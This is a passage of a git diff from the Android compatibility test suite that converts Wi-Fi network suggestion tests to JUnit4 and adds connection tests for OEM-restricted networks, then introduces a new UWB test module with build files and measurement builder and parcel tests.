-        }
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
                         .setWpa3Passphrase(TEST_PASSPHRASE)
@@ -624,11 +769,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWapiPassphrase() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
                         .setWapiPassphrase(TEST_PASSPHRASE)
@@ -648,11 +790,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa2Enterprise() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = createEnterpriseConfig();
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
@@ -669,11 +808,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3Enterprise() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = createEnterpriseConfig();
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
@@ -690,11 +826,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3EnterpriseWithStandardApi() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = createEnterpriseConfig();
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
@@ -711,11 +844,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3EnterpriseWithSuiteBRsaCerts() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
         enterpriseConfig.setCaCertificate(CA_SUITE_B_RSA3072_CERT);
@@ -737,11 +867,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3EnterpriseWithSuiteBEccCerts() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
         enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
@@ -763,11 +890,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3Enterprise192bitWithSuiteBRsaCerts() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
         enterpriseConfig.setCaCertificate(CA_SUITE_B_RSA3072_CERT);
@@ -789,11 +913,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3Enterprise192bitWithSuiteBEccCerts() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
         enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
@@ -815,11 +936,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWapiEnterprise() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WAPI_CERT);
         WifiNetworkSuggestion suggestion =
@@ -863,11 +981,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithPasspointConfig() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         PasspointConfiguration passpointConfig = createPasspointConfig();
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams(true)
@@ -882,10 +997,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithCarrierMergedNetwork() throws Exception {
-        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
         enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
@@ -905,11 +1018,8 @@
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class with non enterprise
      * network will fail.
      */
+    @Test
     public void testBuilderWithCarrierMergedNetworkWithNonEnterpriseNetwork() throws Exception {
-        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
-            return;
-        }
-
         try {
             createBuilderWithCommonParams()
                     .setWpa2Passphrase(TEST_PASSPHRASE)
@@ -926,10 +1036,8 @@
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class with unmetered network
      * will fail.
      */
+    @Test
     public void testBuilderWithCarrierMergedNetworkWithUnmeteredNetwork() throws Exception {
-        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
         enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
@@ -948,4 +1056,121 @@
         fail("Did not receive expected IllegalStateException when tried to build a carrier merged "
                 + "network suggestion with unmetered config");
     }
+
+    /**
+     * Connect to a network using suggestion API.
+     */
+    @Test
+    public void testConnectToSuggestion() throws Exception {
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetwork, suggestion, mExecutorService, null /* restrictedNetworkCapability */);
+    }
+
+    /**
+     * Connect to a network using restricted suggestion API.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPaidSuggestion() throws Exception {
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetwork, suggestion, mExecutorService, NET_CAPABILITY_OEM_PAID);
+    }
+
+    /**
+     * Connect to a network using restricted suggestion API.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPrivateSuggestion() throws Exception {
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetwork, suggestion, mExecutorService, NET_CAPABILITY_OEM_PRIVATE);
+    }
+
+    /**
+     * Simulate connection failure to a network using restricted suggestion API & different net
+     * capability (need corresponding net capability requested for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPaidSuggestionFailure() throws Exception {
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetwork, suggestion, mExecutorService, NET_CAPABILITY_OEM_PRIVATE);
+    }
+
+    /**
+     * Simulate connection failure to a network using restricted suggestion API & different net
+     * capability (need corresponding net capability requested for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPrivateSuggestionFailure() throws Exception {
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetwork, suggestion, mExecutorService, NET_CAPABILITY_OEM_PAID);
+    }
+
+    /**
+     * Simulate connection failure to a restricted network using suggestion API & restricted net
+     * capability (need corresponding restricted bit set in suggestion for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectSuggestionFailureWithOemPaidNetCapability() throws Exception {
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetwork, suggestion, mExecutorService, NET_CAPABILITY_OEM_PAID);
+    }
+
+    /**
+     * Simulate connection failure to a restricted network using suggestion API & restricted net
+     * capability (need corresponding restricted bit set in suggestion for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectSuggestionFailureWithOemPrivateNetCapability() throws Exception {
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetwork, suggestion, mExecutorService, NET_CAPABILITY_OEM_PRIVATE);
+    }
 }
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp b/tests/uwb/Android.bp
similarity index 62%
copy from hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
copy to tests/uwb/Android.bp
index 72e5fef..1ecbf76 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
+++ b/tests/uwb/Android.bp
@@ -4,7 +4,7 @@
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//     http://www.apache.org/licenses/LICENSE-2.0
+//      http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,20 +12,21 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-java_test_host {
-    name: "CtsInstalledLoadingProgressHostTests",
+android_test {
+    name: "CtsUwbTestCases",
     defaults: ["cts_defaults"],
-    srcs:  ["src/**/*.java"],
-    libs: [
-        "cts-tradefed",
-        "tradefed",
-        "compatibility-host-util",
-        "cts-host-utils",
-    ],
-    static_libs: ["cts-install-lib-host"],
+    // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
+    libs: ["android.test.runner"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "mockito-target-minus-junit4",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
 }
-
diff --git a/tests/uwb/AndroidManifest.xml b/tests/uwb/AndroidManifest.xml
new file mode 100644
index 0000000..adecade
--- /dev/null
+++ b/tests/uwb/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.uwb.cts">
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for android.uwb"
+        android:targetPackage="android.uwb.cts" >
+    </instrumentation>
+</manifest>
+
diff --git a/tests/uwb/AndroidTest.xml b/tests/uwb/AndroidTest.xml
new file mode 100644
index 0000000..f0bb20a
--- /dev/null
+++ b/tests/uwb/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS UWB test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsUwbTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.uwb.cts" />
+    </test>
+</configuration>
diff --git a/tests/uwb/OWNERS b/tests/uwb/OWNERS
new file mode 100644
index 0000000..7ba57cf
--- /dev/null
+++ b/tests/uwb/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 898555
+bstack@google.com
+eliptus@google.com
+jsolnit@google.com
+zachoverflow@google.com
diff --git a/tests/uwb/src/android/uwb/cts/AngleMeasurementTest.java b/tests/uwb/src/android/uwb/cts/AngleMeasurementTest.java
new file mode 100644
index 0000000..c6ddead
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/AngleMeasurementTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.uwb.AngleMeasurement;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link AngleMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AngleMeasurementTest {
+    @Test
+    public void testBuilder() {
+        double radians = 0.1234;
+        double errorRadians = 0.5678;
+        double confidence = 0.5;
+
+        AngleMeasurement.Builder builder = new AngleMeasurement.Builder();
+        tryBuild(builder, false);
+
+        builder.setRadians(radians);
+        tryBuild(builder, false);
+
+        builder.setErrorRadians(errorRadians);
+        tryBuild(builder, false);
+
+        builder.setConfidenceLevel(confidence);
+        AngleMeasurement measurement = tryBuild(builder, true);
+
+        assertEquals(measurement.getRadians(), radians, 0);
+        assertEquals(measurement.getErrorRadians(), errorRadians, 0);
+        assertEquals(measurement.getConfidenceLevel(), confidence, 0);
+    }
+
+    private AngleMeasurement tryBuild(AngleMeasurement.Builder builder, boolean expectSuccess) {
+        AngleMeasurement measurement = null;
+        try {
+            measurement = builder.build();
+            if (!expectSuccess) {
+                fail("Expected AngleMeasurement.Builder.build() to fail, but it succeeded");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected AngleMeasurement.Builder.build() to succeed, but it failed");
+            }
+        }
+        return measurement;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        AngleMeasurement measurement = UwbTestUtils.getAngleMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AngleMeasurement fromParcel = AngleMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/AngleOfArrivalMeasurementTest.java b/tests/uwb/src/android/uwb/cts/AngleOfArrivalMeasurementTest.java
new file mode 100644
index 0000000..16dc4c2
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/AngleOfArrivalMeasurementTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.uwb.AngleMeasurement;
+import android.uwb.AngleOfArrivalMeasurement;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link AngleOfArrivalMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AngleOfArrivalMeasurementTest {
+
+    @Test
+    public void testBuilder() {
+        AngleMeasurement azimuth = UwbTestUtils.getAngleMeasurement();
+        AngleMeasurement altitude = UwbTestUtils.getAngleMeasurement();
+
+        AngleOfArrivalMeasurement.Builder builder = new AngleOfArrivalMeasurement.Builder();
+        tryBuild(builder, false);
+
+        builder.setAltitude(altitude);
+        tryBuild(builder, false);
+
+        builder.setAzimuth(azimuth);
+        AngleOfArrivalMeasurement measurement = tryBuild(builder, true);
+
+        assertEquals(azimuth, measurement.getAzimuth());
+        assertEquals(altitude, measurement.getAltitude());
+    }
+
+    private AngleMeasurement getAngleMeasurement(double radian, double error, double confidence) {
+        return new AngleMeasurement.Builder()
+                .setRadians(radian)
+                .setErrorRadians(error)
+                .setConfidenceLevel(confidence)
+                .build();
+    }
+
+    private AngleOfArrivalMeasurement tryBuild(AngleOfArrivalMeasurement.Builder builder,
+            boolean expectSuccess) {
+        AngleOfArrivalMeasurement measurement = null;
+        try {
+            measurement = builder.build();
+            if (!expectSuccess) {
+                fail("Expected AngleOfArrivalMeasurement.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected AngleOfArrivalMeasurement.Builder.build() to succeed");
+            }
+        }
+        return measurement;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        AngleOfArrivalMeasurement measurement = UwbTestUtils.getAngleOfArrivalMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AngleOfArrivalMeasurement fromParcel =
+                AngleOfArrivalMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/DistanceMeasurementTest.java b/tests/uwb/src/android/uwb/cts/DistanceMeasurementTest.java
new file mode 100644
index 0000000..fdebc78
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/DistanceMeasurementTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.uwb.DistanceMeasurement;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link DistanceMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DistanceMeasurementTest {
+    private static final double EPSILON = 0.00000000001;
+
+    @Test
+    public void testBuilder() {
+        double meters = 0.12;
+        double error = 0.54;
+        double confidence = 0.99;
+
+        DistanceMeasurement.Builder builder = new DistanceMeasurement.Builder();
+        tryBuild(builder, false);
+
+        builder.setMeters(meters);
+        tryBuild(builder, false);
+
+        builder.setErrorMeters(error);
+        tryBuild(builder, false);
+
+        builder.setConfidenceLevel(confidence);
+        DistanceMeasurement measurement = tryBuild(builder, true);
+
+        assertEquals(meters, measurement.getMeters(), 0);
+        assertEquals(error, measurement.getErrorMeters(), 0);
+        assertEquals(confidence, measurement.getConfidenceLevel(), 0);
+    }
+
+    private DistanceMeasurement tryBuild(DistanceMeasurement.Builder builder,
+            boolean expectSuccess) {
+        DistanceMeasurement measurement = null;
+        try {
+            measurement = builder.build();
+            if (!expectSuccess) {
+                fail("Expected DistanceMeasurement.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected DistanceMeasurement.Builder.build() to succeed");
+            }
+        }
+        return measurement;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        DistanceMeasurement measurement = UwbTestUtils.getDistanceMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        DistanceMeasurement fromParcel =
+                DistanceMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/RangingMeasurementTest.java b/tests/uwb/src/android/uwb/cts/RangingMeasurementTest.java
new file mode 100644
index 0000000..d57a636
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/RangingMeasurementTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.os.SystemClock;
+import android.uwb.AngleOfArrivalMeasurement;
+import android.uwb.DistanceMeasurement;
+import android.uwb.RangingMeasurement;
+import android.uwb.UwbAddress;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link RangingMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RangingMeasurementTest {
+
+    @Test
+    public void testBuilder() {
+        int status = RangingMeasurement.RANGING_STATUS_SUCCESS;
+        UwbAddress address = UwbTestUtils.getUwbAddress(false);
+        long time = SystemClock.elapsedRealtimeNanos();
+        AngleOfArrivalMeasurement angleMeasurement = UwbTestUtils.getAngleOfArrivalMeasurement();
+        DistanceMeasurement distanceMeasurement = UwbTestUtils.getDistanceMeasurement();
+
+        RangingMeasurement.Builder builder = new RangingMeasurement.Builder();
+
+        builder.setStatus(status);
+        tryBuild(builder, false);
+
+        builder.setElapsedRealtimeNanos(time);
+        tryBuild(builder, false);
+
+        builder.setAngleOfArrivalMeasurement(angleMeasurement);
+        tryBuild(builder, false);
+
+        builder.setDistanceMeasurement(distanceMeasurement);
+        tryBuild(builder, false);
+
+        builder.setRemoteDeviceAddress(address);
+        RangingMeasurement measurement = tryBuild(builder, true);
+
+        assertEquals(status, measurement.getStatus());
+        assertEquals(address, measurement.getRemoteDeviceAddress());
+        assertEquals(time, measurement.getElapsedRealtimeNanos());
+        assertEquals(angleMeasurement, measurement.getAngleOfArrivalMeasurement());
+        assertEquals(distanceMeasurement, measurement.getDistanceMeasurement());
+    }
+
+    private RangingMeasurement tryBuild(RangingMeasurement.Builder builder,
+            boolean expectSuccess) {
+        RangingMeasurement measurement = null;
+        try {
+            measurement = builder.build();
+            if (!expectSuccess) {
+                fail("Expected RangingMeasurement.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected DistanceMeasurement.Builder.build() to succeed");
+            }
+        }
+        return measurement;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        RangingMeasurement measurement = UwbTestUtils.getRangingMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        RangingMeasurement fromParcel = RangingMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/RangingReportTest.java b/tests/uwb/src/android/uwb/cts/RangingReportTest.java
new file mode 100644
index 0000000..b2524e7
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/RangingReportTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.uwb.RangingMeasurement;
+import android.uwb.RangingReport;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Test of {@link RangingReport}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RangingReportTest {
+
+    @Test
+    public void testBuilder() {
+        List<RangingMeasurement> measurements = UwbTestUtils.getRangingMeasurements(5);
+
+        RangingReport.Builder builder = new RangingReport.Builder();
+        builder.addMeasurements(measurements);
+        RangingReport report = tryBuild(builder, true);
+        verifyMeasurementsEqual(measurements, report.getMeasurements());
+
+
+        builder = new RangingReport.Builder();
+        for (RangingMeasurement measurement : measurements) {
+            builder.addMeasurement(measurement);
+        }
+        report = tryBuild(builder, true);
+        verifyMeasurementsEqual(measurements, report.getMeasurements());
+    }
+
+    private void verifyMeasurementsEqual(List<RangingMeasurement> expected,
+            List<RangingMeasurement> actual) {
+        assertEquals(expected.size(), actual.size());
+        for (int i = 0; i < expected.size(); i++) {
+            assertEquals(expected.get(i), actual.get(i));
+        }
+    }
+
+    private RangingReport tryBuild(RangingReport.Builder builder,
+            boolean expectSuccess) {
+        RangingReport report = null;
+        try {
+            report = builder.build();
+            if (!expectSuccess) {
+                fail("Expected RangingReport.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected RangingReport.Builder.build() to succeed");
+            }
+        }
+        return report;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        RangingReport report = UwbTestUtils.getRangingReports(5);
+        report.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        RangingReport fromParcel = RangingReport.CREATOR.createFromParcel(parcel);
+        assertEquals(report, fromParcel);
+    }
+}
